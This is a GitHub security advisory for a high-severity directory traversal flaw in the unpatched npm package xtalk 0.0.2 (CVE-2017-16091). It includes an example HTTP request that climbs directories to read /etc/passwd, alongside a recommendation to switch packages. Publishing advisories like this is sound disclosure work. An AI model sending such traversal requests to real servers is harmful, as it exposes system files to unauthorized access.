GHSA-cqv6-7fwc-8m3c

GitHub Security Advisory

Directory Traversal in xtalk

✓ GitHub Reviewed HIGH Has CVE

Affected versions of `xtalk` are vulnerable to directory traversal, allowing access to the filesystem by placing "../" in the URL.

**Example request:**
```http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:localhost
```

## Recommendation

No patch is currently available for this vulnerability, and the package has not been updated since 2014.

The best mitigation is currently to avoid using this package, and using a different, functionally equivalent package.

npm xtalk

Affected versions: 0.0.2

CVE-2017-16091

GHSA ID

GHSA-cqv6-7fwc-8m3c

Published

September 1, 2020 4:44 PM

Last Modified

September 11, 2023 11:14 PM

CVSS Score

7.5 /10

Primary Ecosystem

npm

Primary Package

xtalk

GitHub Reviewed

✓ Yes

Last updated: July 6, 2025 6:30 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.